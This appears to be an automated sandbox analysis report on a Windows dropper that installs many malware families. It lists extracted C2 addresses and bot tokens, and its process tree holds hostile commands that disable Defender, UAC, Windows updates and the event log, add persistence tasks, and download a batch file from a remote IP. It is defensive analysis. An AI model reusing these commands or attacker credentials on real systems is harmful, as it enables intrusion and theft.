Resubmissions
27/03/2026, 22:02
260327-1x8z8shx9r27/03/2026, 15:32
260327-sysewag15y1027/03/2026, 14:24
260327-rq7ddsat5r1026/03/2026, 21:13
260326-z2rfbabs5s1026/03/2026, 21:03
260326-zvz4waet7r1031/12/2024, 21:35
241231-1fmqnszqft1031/12/2024, 21:27
241231-1axzfssnek1016/12/2024, 05:52
241216-gk8zxsxkaz16/12/2024, 05:27
241216-f5kx6awmh11014/12/2024, 20:23
241214-y6jqlasrhy10Analysis
- max time kernel
838s - max time network
1201s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
12/12/2024, 18:02
General
- Target 4363463463464363463463463.exe
- Size 10KB
- Sample241212-wmml2askcs
- SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
Score
10/10
Malware Config
Extracted
Family
-
njrat
Version
-
Njrat 0.7 Golden By Hassan Amiri
Botnet
C2
-
sayrich.ddns.net:7777
Mutex
-
Yandex. Update
Attributes
-
reg_key
Yandex. Update
-
splitter
|Hassan|
Extracted
Family
-
cryptbot
Extracted
Family
-
xworm
C2
-
193.222.96.100:5555
Attributes
-
Install_directory
%Temp%
-
install_file
requirements.exe
Extracted
Family
-
discordrat
Attributes
-
discord_token
MTAyOTM3NzcyMzcxNTU1OTQ2NA.G7rtDA.iVKPgXW9sMwRqiFimO_Rdc0nXAigNycwugkM4k
-
server_id
696661218521251871
Extracted
Family
-
asyncrat
Version
-
0.5.8
Botnet
-
Default
C2
-
18.ip.gl.ply.gg:6606
-
18.ip.gl.ply.gg:7707
-
18.ip.gl.ply.gg:8808
-
18.ip.gl.ply.gg:9028
Mutex
-
7U2HW8ZYjc9H
Attributes
-
delay
3
-
install
true
-
install_file
Discord.exe
-
install_folder
%AppData%
aes.plain
Extracted
Family
-
asyncrat
Version
-
Venom RAT + HVNC + Stealer + Grabber v6.0.3
Botnet
-
Default
C2
-
62.113.117.95:4449
Mutex
-
hwelcvbupaqfzors
Attributes
-
delay
10
-
install
false
-
install_folder
%AppData%
aes.plain
Extracted
Family
-
gurcu
C2
-
https://api.telegram.org/bot8081835502:AAFtGgtMdAzFeWYBpQcGx83fjDR_25zfjK0/sendDocument?chat_id=7538374929&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20181.215.176.83%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan
Signatures
- AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Asyncrat family
- CryptBot
CryptBot is a C++ stealer distributed widely in bundle with other software.
- Cryptbot family
- Detect Vidar Stealer 2 IoCs
- Detect Xworm Payload 5 IoCs
- Detects ZharkBot payload 3 IoCs
ZharkBot is a botnet written C++.
- Discord RAT
A RAT written in C# using Discord as a C2.
- Discordrat family
- Exela Stealer
Exela Stealer is an open source stealer originally written in .NET and later transitioned to Python that was first observed in August 2023.
- Exelastealer family
- Gurcu family
- Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
- Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
- Mimikatz family
- Njrat family
- Phorphiex family
- Phorphiex payload 1 IoCs
- Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar family
- Quasar payload 3 IoCs
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 1 IoCs
- Redline family
- Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
- UAC bypass 3 TTPs 3 IoCs
- Vidar
Vidar is an infostealer based on Arkei stealer.
- Vidar family
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- ZharkBot
ZharkBot is a botnet written C++.
- Zharkbot family
- njRAT/Bladabindi
Widely used RAT written in .NET.
- Async RAT payload 3 IoCs
- Enumerates VirtualBox registry keys 2 TTPs 1 IoCs
- Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs
- mimikatz is an open source tool to dump credentials on Windows 1 IoCs
- Blocklisted process makes network request 7 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 30 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Creates new service(s) 2 TTPs
- Downloads MZ/PE file
- Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
- Stops running service(s) 4 TTPs
- Checks BIOS information in registry 2 TTPs 12 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 16 IoCs
Looks up country code configured in the registry, likely geofence.
- Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
- Drops startup file 6 IoCs
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 64 IoCs
- Identifies Wine through registry keys 2 TTPs 2 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
- Loads dropped DLL 64 IoCs
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Themida packer 6 IoCs
Detects Themida, an advanced Windows software protection system.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- VMProtect packed file 3 IoCs
Detects executables packed with VMProtect commercial packer.
- Adds Run key to start application 2 TTPs 10 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 4 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 36 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Network Service Discovery 1 TTPs 1 IoCs
Attempt to gather information on host's network.
- Power Settings 1 TTPs 40 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- Drops file in System32 directory 14 IoCs
- Enumerates processes with tasklist 1 TTPs 3 IoCs
- Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
- Suspicious use of SetThreadContext 11 IoCs
- UPX packed file 6 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 11 IoCs
- Launches sc.exe 58 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Detects Pyinstaller 7 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
- Program crash 7 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 17 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- NSIS installer 2 IoCs
- Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 10 IoCs
Processor information is often read in order to detect sandboxing environments.
- Collects information from the system 1 TTPs 1 IoCs
Uses WMIC.exe to find detailed system information.
- Delays execution with timeout.exe 2 IoCs
- Enumerates system info in registry 2 TTPs 8 IoCs
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Kills process with taskkill 1 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Modifies registry class 64 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 3 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 2 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 52 IoCs
- Suspicious use of SendNotifyMessage 49 IoCs
- Suspicious use of SetWindowsHookEx 9 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 7 IoCs
Processes
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\SysWOW64\fontdrvhost.exe"C:\Windows\System32\fontdrvhost.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"2⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\utility-inst.exe"C:\Users\Admin\AppData\Local\Temp\Files\utility-inst.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-UV0IP.tmp\utility-inst.tmp"C:\Users\Admin\AppData\Local\Temp\is-UV0IP.tmp\utility-inst.tmp" /SL5="$901E4,922170,832512,C:\Users\Admin\AppData\Local\Temp\Files\utility-inst.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C ""C:\Users\Admin\AppData\Local\Temp\is-ERL4L.tmp\do.bat""5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\softina.exe"C:\Users\Admin\AppData\Local\Temp\Files\softina.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Files\softina.exe"; Add-MpPreference -ExclusionProcess "softina.exe"; exit"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\test-again.exe"C:\Users\Admin\AppData\Local\Temp\Files\test-again.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\OneDrive.exe"C:\Users\Admin\AppData\Local\Temp\Files\OneDrive.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwARgBpAGwAZQBzAFwATwBuAGUARAByAGkAdgBlAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEYAaQBsAGUAcwBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAGQAbwBjAHUAbQBlAG4AdABzAFwATwBuAGUARAByAGkAdgBlAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABkAG8AYwB1AG0AZQBuAHQAcwBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlAA==4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\random.exe"C:\Users\Admin\AppData\Local\Temp\Files\random.exe"3⤵
- Enumerates VirtualBox registry keys
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 436 -s 11364⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Steam.Upgreyd.exe"C:\Users\Admin\AppData\Local\Temp\Files\Steam.Upgreyd.exe"3⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn Server /tr C:\Users\Admin\AppData\Local\Temp/Server.exe4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\dismhost.exe"C:\Users\Admin\AppData\Local\Temp\Files\dismhost.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\alphaTweaks.exe"C:\Users\Admin\AppData\Local\Temp\Files\alphaTweaks.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Files\nSoft.exe"C:\Users\Admin\AppData\Local\Temp\Files\nSoft.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Office2024.exe"C:\Users\Admin\AppData\Local\Temp\Files\Office2024.exe"3⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart5⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 04⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 04⤵
- Power Settings
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "QKJNEQWA"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "QKJNEQWA" binpath= "C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe" start= "auto"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "QKJNEQWA"4⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\pornhub_downloader.exe"C:\Users\Admin\AppData\Local\Temp\Files\pornhub_downloader.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\65CA.tmp\65CB.tmp\65CC.bat C:\Users\Admin\AppData\Local\Temp\Files\pornhub_downloader.exe"4⤵
-
C:\Windows\system32\mshta.exemshta vbscript:createobject("shell.application").shellexecute("C:\Users\Admin\AppData\Local\Temp\Files\PORNHU~1.EXE","goto :target","","runas",1)(window.close)5⤵
- Checks computer location settings
- Access Token Manipulation: Create Process with Token
-
C:\Users\Admin\AppData\Local\Temp\Files\PORNHU~1.EXE"C:\Users\Admin\AppData\Local\Temp\Files\PORNHU~1.EXE" goto :target6⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\6C03.tmp\6C04.tmp\6C05.bat C:\Users\Admin\AppData\Local\Temp\Files\PORNHU~1.EXE goto :target"7⤵
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F8⤵
- UAC bypass
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F8⤵
- UAC bypass
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F8⤵
- UAC bypass
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKEY_CLASSES_ROOT\http\shell\open\command"8⤵
-
C:\Windows\system32\reg.exereg query HKEY_CLASSES_ROOT\http\shell\open\command9⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.pornhub.com/8⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffb1c5946f8,0x7ffb1c594708,0x7ffb1c5947189⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1956,2357307261719350472,15708084231982912328,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1972 /prefetch:29⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1956,2357307261719350472,15708084231982912328,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2240 /prefetch:39⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1956,2357307261719350472,15708084231982912328,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2776 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1956,2357307261719350472,15708084231982912328,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3344 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1956,2357307261719350472,15708084231982912328,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3384 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1956,2357307261719350472,15708084231982912328,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4900 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1956,2357307261719350472,15708084231982912328,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5436 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1956,2357307261719350472,15708084231982912328,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5436 /prefetch:89⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1956,2357307261719350472,15708084231982912328,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5476 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1956,2357307261719350472,15708084231982912328,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5520 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1956,2357307261719350472,15708084231982912328,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4116 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1956,2357307261719350472,15708084231982912328,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4968 /prefetch:19⤵
-
-
-
C:\Windows\system32\attrib.exeattrib +s +h d:\net8⤵
- Sets file to hidden
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "invoke-webrequest -uri http://206.217.142.166:1234/windows/v2/dr.bat -outfile d:\net\dr\dr.bat"8⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\schtasks.exeSchTasks /Create /SC ONLOGON /TN "my dr" /TR "d:\net\dr\dr.bat" /f8⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\cli.exe"C:\Users\Admin\AppData\Local\Temp\Files\cli.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\requirements.exe"C:\Users\Admin\AppData\Local\Temp\Files\requirements.exe"3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\requirements.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'requirements.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\requirements.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'requirements.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "requirements" /tr "C:\Users\Admin\AppData\Local\Temp\requirements.exe"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\4.exe"C:\Users\Admin\AppData\Local\Temp\Files\4.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\SharpHound.exe"C:\Users\Admin\AppData\Local\Temp\Files\SharpHound.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Cvimelugfq.exe"C:\Users\Admin\AppData\Local\Temp\Files\Cvimelugfq.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\4XYFk9r.exe"C:\Users\Admin\AppData\Local\Temp\Files\4XYFk9r.exe"3⤵
